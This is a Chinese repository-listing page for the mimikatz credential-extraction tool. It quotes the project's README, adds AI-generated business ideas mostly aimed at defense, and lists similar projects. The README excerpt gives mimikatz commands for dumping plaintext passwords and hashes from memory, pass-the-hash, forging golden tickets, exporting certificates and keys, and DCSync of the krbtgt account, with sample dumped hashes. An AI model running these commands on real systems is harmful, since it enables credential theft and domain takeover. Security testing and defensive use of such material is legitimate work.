mimikatz
21,968
Stars
0
Forks
0
Watchers
0
Open Issues
未知
许可证
C
语言
创建时间
最近更新
项目能做什么
一款用于探索和安全测试 Windows 系统凭据与安全机制的知名工具。
来源：AI 基于仓库事实生成
· 内容以仓库实际 README 为准
使用说明 查看原始 README 原仓库文档
中文使用说明暂未生成。下面保留原仓库 README 摘录，命令与配置均以原文为准。
原始 README 摘录（英文原文，节选前 3000 字符）
# mimikatz
**`mimikatz`** is a tool I've made to learn `C` and make somes experiments with Windows security.
It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **`mimikatz`** can also perform pass-the-hash, pass-the-ticket or build _Golden tickets_.
```
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 13 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session : Interactive from 2
User Name : Gentil Kiwi
Domain : vm-w7-ult-x
SID : S-1-5-21-1982681256-1210654043-1600862990-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* Password : waza1234/
...
```
But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, _yes_).
If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases
## Quick usage
```
log
privilege::debug
```
### sekurlsa
```
sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
```
### kerberos
```
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
```
### crypto
```
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export
```
### vault & lsadump
```
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
```
## Build
`mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:
* for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - http://www.microsoft.com/download/details.aspx?id=44914)
* _for `mimikatz driver`, `mimilove` (and `ddk2003` platform) : Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/
阅读完整原文
商业机会分析 AI 生成
Windows/AD 凭据暴露风险轻量自动化审计工具
| 产品构想 | 将 Mimikatz 验证过的凭据提取攻击路径（如 LSASS 保护缺失、DCSync 权限过宽、Kerberos 弱配置）转化为防御侧的只读、无害化配置审计与体检工具，生成修复报告。 |
| 核心功能 | LSA/CredGuard 安全配置检查、DCSync 权限暴露检测、弱 Kerberos 加密票据排查、一键生成整改合规脚本与加固建议。 |
| 目标用户 | 中小型企业 IT 管理员、企业内网安全运维人员、安全合规审计顾问。 |
| 难度/周期 | 中等 · 2-3 个月 · 成本：低（Windows 域控测试虚机环境、基础开发机） |
| 收费模式 | 按扫描机器数订阅授权，或单次企业内网审计服务计费。 |
| 竞争风险 | 审计工具本身的代码特征若未做良好签名与白名单适配，可能触发企业内已有杀软告警（推测）。 |
| 依据 | 已验证事实 |
Windows 身份认证攻击与防御实战靶场课程
| 产品构想 | 基于 Mimikatz 涉及的核心原理（PtH、Golden Ticket、Pass-the-Ticket 等），制作系统化的攻防实战交互式课程与靶场套件，教授如何落地对抗防御方案。 |
| 核心功能 | 标准化预配置 AD 演练靶场镜象、攻击手法剖析实验、Windows Defender/EDR 规则调优与加固实操教学。 |
| 目标用户 | 准备安全认证（如 OSCP、CRTP）的学习者、企业安全运维工程师、高校网络安全专业学生。 |
| 难度/周期 | 低 · 1-2 个月 · 成本：低（虚拟化环境与录屏、文档托管成本） |
| 收费模式 | 课程直接售卖、靶场环境按需租用订阅、企业定制化内训交付。 |
| 竞争风险 | 随着 Windows 操作系统更新演进，部分旧有攻击手法与实验可能失效，需持续维护内容。 |
| 依据 | 已验证事实 |
凭据转储攻击高精度检测规则与狩猎策略库订阅
| 产品构想 | 针对 Mimikatz 典型模块及其变种行为（如 LSASS 内存读取、异常 RPC 调用、高危特权使用），提炼低误报的 SIEM/EDR 检测规则（Sigma、Sysmon、Splunk），提供持续更新服务。 |
| 核心功能 | 多平台检测规则包、误报过滤基线配置、Mimikatz 新功能与特征变种覆盖更新、狩猎排查脚本。 |
| 目标用户 | 企业 SOC 分析师、MSSP（托管安全服务提供商）、安全架构师。 |
| 难度/周期 | 中等 · 1-2 个月 · 成本：低（规则编写与测试验证环境） |
| 收费模式 | 订阅制付费（月/年付规则包更新与技术答疑）。 |
| 竞争风险 | 开源安全社区已有部分通用检测规则，商业化需要证明其在企业真实环境中的极低误报率和时效性（推测）。 |
| 依据 | AI推测 |
AI 基于仓库公开数据分析生成，含推测成分，不构成收益承诺。
报告会保存到 个人中心
竞品与相似项目 GitHub Search 真实检索
| 项目 | 中文简介 | Stars | 语言 |
|---|---|---|---|
| skelsec/pypykatz | 中文介绍暂未生成 Mimikatz implementation in pure Python |
3,379 | Python |
| netwrix/pingcastle | 中文介绍暂未生成 PingCastle - Get Active Directory Security at 80% in 20% of |
3,000 | C# |
| ParrotSec/mimikatz | 中文介绍暂未生成 | 2,726 | YARA |
| ihebski/A-Red-Teamer-diaries | 中文介绍暂未生成 RedTeam/Pentest notes and experiments tested on several infr |
1,939 | - |
| nikaiw/VMkatz | 中文介绍暂未生成 Extract Windows credentials directly from VM memory snapshot |
1,660 | Rust |
| lengjibo/RedTeamTools | 中文介绍暂未生成 记录自己编写、修改的部分工具 |
1,470 | Python |
以上为通过 GitHub 官方 Search API 检索的相似项目，功能差异与优劣势需进一步人工确认，配置 AI 后可生成对比分析。
项目优势与风险
| 技术成熟度 | 创建于 ，最近推送 ，发布过 11 个 Release |
| 社区活跃 | Star 21,968 / Fork 0 / Issue 0（数据支持，可自行核实） |
| 许可证 | 未检测到（需人工确认） |
| 主要风险 | 上游项目方向可能变化；同赛道竞争者较多（见竞品表）；热度与需求不完全等价 |
安装与使用
快速开始（以仓库 README 为准）
git clone https://github.com/gentilkiwi/mimikatz.git cd mimikatz # 请阅读仓库 README 获取确切安装步骤（依赖、配置、启动命令）
术语说明：Docker＝应用容器（把程序和依赖打包运行）；API Key＝调用外部服务的密钥；Git Clone＝把仓库代码下载到本地。常见错误：API Key 未配置 / 端口占用 / 数据库连接失败，多数项目在 README 的 Troubleshooting 章节有说明。